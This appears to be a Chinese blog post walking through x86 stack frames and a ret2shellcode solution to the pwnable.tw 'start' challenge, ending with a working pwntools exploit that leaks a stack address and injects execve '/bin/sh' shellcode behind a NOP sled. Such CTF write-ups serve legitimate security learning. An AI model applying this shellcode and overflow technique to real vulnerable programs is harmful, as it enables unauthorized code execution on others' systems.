StackOverFlow之Ret2ShellCode详解

函数调用时栈中的变化 test

示例代码:test.c

#include <stdio.h>

int fun(int a,int b)
{
    return a + b;
}

int main(int argc, char const *argv[])
{
    int a = 1,b = 2;
    fun(a,b);
    return 0;
}

编译程序: gcc test.c -m32 -fno-stack-protector -z execstack -no-pie -o test
-fno-stack-protector ————关闭栈保护 stack
-z execstack ————关闭NX堆栈不可执行
-no-pie ————关闭PIE地址随机化

然后对test用linux自带的反汇编指令:objdump进行反汇编 objdump -d :反汇编特定指令机器码的section -Mintle :表示用intel语法

objdump test1 -d -Mintel
主要函数结果如下
080483f6 <fun>:
 80483f6:    55                       push   ebp
 80483f7:    89 e5                    mov    ebp,esp
 80483f9:    e8 42 00 00 00           call   8048440 <__x86.get_pc_thunk.ax>
 80483fe:    05 02 1c 00 00           add    eax,0x1c02
 8048403:    8b 55 08                 mov    edx,DWORD PTR [ebp+0x8]
 8048406:    8b 45 0c                 mov    eax,DWORD PTR [ebp+0xc]
 8048409:    01 d0                    add    eax,edx
 804840b:    5d                       pop    ebp
 804840c:    c3                       ret    

0804840d <main>:
 804840d:    55                       push   ebp
 804840e:    89 e5                    mov    ebp,esp
 8048410:    83 ec 10                 sub    esp,0x10
 8048413:    e8 28 00 00 00           call   8048440 <__x86.get_pc_thunk.ax>
 8048418:    05 e8 1b 00 00           add    eax,0x1be8
 804841d:    c7 45 fc 01 00 00 00     mov    DWORD PTR [ebp-0x4],0x1
 8048424:    c7 45 f8 02 00 00 00     mov    DWORD PTR [ebp-0x8],0x2
 804842b:    ff 75 f8                 push   DWORD PTR [ebp-0x8]
 804842e:    ff 75 fc                 push   DWORD PTR [ebp-0x4]
 8048431:    e8 c0 ff ff ff           call   80483f6 <fun>
 8048436:    83 c4 08                 add    esp,0x8
 8048439:    b8 00 00 00 00           mov    eax,0x0
 804843e:    c9                       leave  
 804843f:    c3                       ret    

观察fun函数可以发现:

push   ebp
mov   ebp,esp
.......
.....
pop ebp
ret

这段指令标志这一个函数的开始与结束。这四句指令就是函数开辟,栈帧就是一块被ebp和esp夹住的区域的开始与结尾的标志性语句

现在调试看看main函数对fun函数的调用和传值在汇编中是怎样的
相关指令:

 804841d:    c7 45 fc 01 00 00 00     mov    DWORD PTR [ebp-0x4],0x1   //将1传给 以[ebp-0x4]代表的地址处 并以32位即4字节形式传递(DWORD PTR []) a = 1
 8048424:    c7 45 f8 02 00 00 00     mov    DWORD PTR [ebp-0x8],0x2   //将2传给 以[ebp-0x8]代表的地址处 并以32位即4字节形式传递(DWORD PTR []) b = 2
 804842b:    ff 75 f8                 push   DWORD PTR [ebp-0x8]   //将[ebp-0x8]区域的值以32位入栈  即  b = 2 入栈
 804842e:    ff 75 fc                 push   DWORD PTR [ebp-0x4]   //将[ebp-0x4]区域的值以32位入栈  即  a = 1 入栈
 8048431:    e8 c0 ff ff ff           call   80483f6 <fun>  //调用fun函数

可以发现参数入栈的顺序 与我们c语言正常的调用顺序是相反的:参数逆序入栈。
调用一个函数前都是先压入参数(没有参数就不用)然后再调用函数汇编表现为 push xxx ; push xxx; push xxx; call xxx的形式

继续看fun函数中对参数的调用(忽略前面两条指令)

8048403:    8b 55 08                 mov    edx,DWORD PTR [ebp+0x8]  //将[ebp+0x8]区域的值传给edx 即 edx = 1
 8048406:    8b 45 0c                 mov    eax,DWORD PTR [ebp+0xc]  //将[ebp+0xc]区域的值传给eax 即 eax = 2
 8048409:    01 d0                    add    eax,edx  //eax = eax + edx

为啥[ebp-0x4] [ebp-0x8] 对应了fun函数中的 [ebp+0xc] [ebp+0x8]:

主要影响指令
main:
804842b:    ff 75 f8                 push   DWORD PTR [ebp-0x8]
804842e:    ff 75 fc                 push   DWORD PTR [ebp-0x4]
.....
...
..
fun:
80483f6:    55                       push   ebp
804840e:    89 e5                    mov    ebp,esp  //esp 与 ebp指向同一位置

示意图

再试着去理解[ebp-0x4] [ebp-0x8] 对应了fun函数中的 [ebp+0xc] [ebp+0x8]的原因就很明了了

start

此题源程序可以从 pwnable.tw 中获取
用checksec 发现保护全关

[*] '/home/hunter/PWN/wiki/overflow/Ret2ShellCode/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

因为次elf文件过于简单就没使用IDA了直接linux反汇编

hunter@hunter:~/PWN/wiki/overflow/Ret2ShellCode$ objdump start -d -Mintel

start:     文件格式 elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:    54                       push   esp
 8048061:    68 9d 80 04 08           push   0x804809d  //压入exit函数地址
 8048066:    31 c0                    xor    eax,eax
 8048068:    31 db                    xor    ebx,ebx
 804806a:    31 c9                    xor    ecx,ecx
 804806c:    31 d2                    xor    edx,edx
 804806e:    68 43 54 46 3a           push   0x3a465443   //压入字符串
 8048073:    68 74 68 65 20           push   0x20656874
 8048078:    68 61 72 74 20           push   0x20747261
 804807d:    68 73 20 73 74           push   0x74732073
 8048082:    68 4c 65 74 27           push   0x2774654c
 8048087:    89 e1                    mov    ecx,esp
 8048089:    b2 14                    mov    dl,0x14  //0x14 = 20
 804808b:    b3 01                    mov    bl,0x1
 804808d:    b0 04                    mov    al,0x4
 804808f:    cd 80                    int    0x80   //调用write
 8048091:    31 db                    xor    ebx,ebx
 8048093:    b2 3c                    mov    dl,0x3c  //0x3c = 60
 8048095:    b0 03                    mov    al,0x3
 8048097:    cd 80                    int    0x80   //调用read
 8048099:    83 c4 14                 add    esp,0x14
 804809c:    c3                       ret    

0804809d <_exit>:
 804809d:    5c                       pop    esp
 804809e:    31 c0                    xor    eax,eax
 80480a0:    40                       inc    eax
 80480a1:    cd 80                    int    0x80

可以看出这整个程序就_start和_exit两个函数。看代码应该是出题者可以构造的因为按照正常的栈首先因该是 push ebp而不是esp
int 0x80 ; 这代表着系统中断也就是调用系统函数类似于之前所说的call xxxx; 结构不同的是这里面的参数都是寄存器传参sys_write(fd,&buf,len)ebx 存放的是 fd(文件描述符有0、1、2三个值0代表标准输入1代表标准输出2代表标准错误输出)ecx 中存放的是 buf 的地址也就是将要输出的字符串的首地址edx 存放的是输出字符串的长度
mov ecx,esp因为 esp 指向栈顶且根据实际程序输出ecx 就是存放着 Let’s start the CTF:

分析两次int 0x80的寄存器参数可知 :第一次write函数将Let’s start the CTF:恰好20个字符输出。第二次read函数将读取60个字符,栈溢出。一定注意不论是调用write函数还是read函数在输出和输入字符串时esp并没有立刻改变而是等到特定的指令。

攻击流程

在调用 sys_write() 之前栈帧情况

蓝色就是buf部分执行sys_read函数时esp 还是指向此地 输入的内容重新覆盖这块缓冲区超出的部分继续向下覆盖。
因为ret_addr保存的是exit函数的地址正常返回的话是直接退出程序现在需要控制这个地址使其返回到我们想要去的地方。
在write()后面add esp,0x14指令将esp指向ret_addr 完成ret指令后 esp指向 原esp地址即指向的数据与地址重合。
那么如果我们控制ret再次跳到write函数那么esp地址会被泄露,继续下面的read函数,在read函数中我们就可以写入shellcode,控制其位置然后执行。

执行完sys_read()函数之后还需执行 add esp,0x14 所以 shellcode 能放的地方也只有剩下的40字节但也足够了。


所以 shellcode 的起始地址为 esp+20,之前的部分可任意填充除 ’\x00‘ (会造成截断)之外的内容。
exp:

from pwn import *

#context.log_level = 'debug'

sh = process('./start') #有时'./start'还是"start"或是"./start"也会引发玄学问题,多注意

sh.recvuntil(':')
payload1 = 'a' * 20 + p32(0x08048087)
#gdb.attach(sh)
sh.send(payload1)   #此处如果换成sendline会出错,原因目前未知,感觉很玄学
stack_addr = sh.recv(4)
addr =  u32(stack_addr)

nopsled = '\x90' * 10
shellcode ='\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload2 = 'a' * 20 + p32(addr + 20) + nopsled + shellcode
sh.send(payload2)
sh.interactive() 

注意:nopsled = ‘\x90’就是NULL的意思什么都不做,像滑雪橇一样一直划到 shellcode中 可以增强exp的移植性

因为NX关闭 ,这个题也可以用直接想buf中写入shellcode在用coredump寻找buf地址,转跳该地址来解决

shellcode集:http://shell-storm.org/shellcode/


 上一篇
wiki--ret2libc3 wiki--ret2libc3
1:checksechunter@hunter:~/PWN/level3$ checksec ret2libc3 [*] '/home/hunter/PWN/level3/ret2libc3' Arch: i386-32-l
2020-07-04
下一篇 
ROP链的简单构造 ROP链的简单构造
随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程
2020-06-01
  目录